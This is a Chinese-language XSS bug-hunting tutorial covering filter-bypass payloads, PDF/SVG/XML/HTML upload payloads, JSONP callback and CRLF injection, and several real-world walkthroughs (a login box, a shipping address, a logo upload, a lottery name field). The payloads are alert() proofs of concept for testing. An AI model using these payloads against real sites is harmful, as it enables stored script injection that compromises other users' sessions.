XSS漏洞挖掘
检测原理和技巧
直接使用xss靶场进行验证
如图:mark标签生效
使用yakit抓包也可看出,标签是有颜色的
不是下边这样没有被解析
绕过技巧
详细绕过可参考以下链接
xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户
简单绕过
大小写:<ScriPt>alert(1);</ScriPt>
双写:<scr<script>ipt>alert(1);</script>scri</script>pt>
禁用alert:confirm(1),ptompt(1)
过滤括号:使用反引号代替
<script>alert`1`;</script>
禁用单引号:
<script>alert`1`;</script> <script>alert(/1/);</script>
冷门标签绕过
文件上传xss
PDF形式
from PyPDF2 import PdfReader, PdfWriter# 创建一个新的 PDF 文档
output_pdf = PdfWriter()
# 添加一个新页面
page = output_pdf.add_blank_page(width=80, height=80)
# 插入 JavaScript:弹窗 alert(使用英文引号)
output_pdf.add_js("app.alert('老登-XSS!!!');")
# 输出为PDF文件
with open("alert.pdf", "wb") as f:output_pdf.write(f)
XML形式
XML-XSS制作
<script xmlns="http://www.w3.org/1999/xhtml">
alert(666)
</script>
SVG形式
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="application/javascript">
alert('XSS Attack!');
</script>
<polygon points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>
HTML形式
<script>alert("你是老油条!!!")</script>
特殊的XSS
jsonp
http://154.222.27.91:8882/jsonp/jsonp.php?callback=duan
callback参数可控,直接插入xss攻击码即可看返回页面
callback参数多是用jsonp,可以打xss
CRLF
CRLF 导致 XSS 漏洞的利用原理是:
CRLF(回车换行,\r\n
)可用于操控 HTTP 响应的结构。
当应用未对用户输入的 CRLF 进行有效过滤或转义时,攻击者能在输入中插入 CRLF 序列,从而篡改 HTTP 响应头,甚至注入 HTML/JS 代码到响应体,引发 XSS 等攻击。
比如在 302 跳转场景,若 url
参数值直接拼接进响应头 Location
字段,攻击者可插入 %0d%0a
(CRLF 的 URL 编码),添加恶意响应头(如 Set-Cookie
);若进一步插入连续的 %0d%0a
,还能突破响应头与响应体的界限,在响应体注入 <script>
等脚本标签,当浏览器渲染时执行脚本,实现 XSS 攻击。
多加几个换行确保js标签在响应体中返会,进而被执行
Ueditor编辑器
存储型:
UEditor编辑器存储型XSS漏洞_ueditor xss漏洞-CSDN博客
大神论坛 UEditor 富文本web编辑器最新漏洞版XML文件上传导致存储型XSS - 大神论坛 - 博客园
利用demo
SeflXSS
selfxss就是只能自己攻击自己,不能打别人(比如在自己后台产生的xss),这种的企业src要求严格,这种估计就不收了,一个没有危害的漏洞,他们也不想给钱。
但是你去做众测、公司的项目,可以不用考虑self的问题,只要xss弹框就可以交
实战
登录框
思路get:
登录口处写入的信息能够回显
插入XSS代码即可被执行
登录提示:
某某账号不存在
某某账号密码错误
点击登录后账号信息仍然保留在输入框
输入xss攻击代码
点击登录成功弹窗
收货地址
思路get:
测试收货地址处js代码发现可控
插入事件型js语句执行,实现触发
大概流程:
首先在收货地址的详细地址栏填写 “8888” 作为标记,方便后续查找网页代码。
接着查看网页代码,用ctrl + f
搜索 “8888”,找到相关位置后,在详细地址处输入"oninput=alert(1)//
,然后点击修改收货地址。
之后发现详细地址栏变空,再次点击详细地址输入框,成功触发弹窗,显示出1
。
利用原理:
这种操作的原理是利用了网页前端代码中可能存在的XSS(跨站脚本)漏洞
具体来说:
- 当在地址栏输入
"oninput=alert(1)//
时,这段内容会被当作代码片段嵌入到网页的 HTML 结构中 "
符号用于闭合原有 HTML 元素的属性引号,使后续内容被识别为新的属性oninput=alert(1)
是添加了一个输入事件触发的 JavaScript 代码,当输入框被点击或输入内容时就会执行alert(1)
弹窗//
用于注释掉后续可能存在的多余代码,避免语法错误
详细过程如下:
文件上传XSS
思路get:
在上传logo处抓包修改
利用HTML-XSS实现XSS触发
详细过程:
个人信息 → 单位 logo
在这里上传文件时会调用/api/app-api/infra/file/upload
我们抓包后将文件名改成xx.html内容写入<script>alert(1)</script>
返回的响应包会给出文件路径,直接访问即可成功触发 XSS。
用户名处
思路get:
注册框处输入恶意js实现存储型XSS
系统加载后访问抽奖结果即可触发
详细过程:
进入某抽签系统,大致页面如下
网上抽签时可以登录任意的账号参加,姓名处插入
</td><img src=1 onerror=alert`1`>
如果将该信息提交到系统中,访问抽签结果,即会触发姓名处的存储型XSS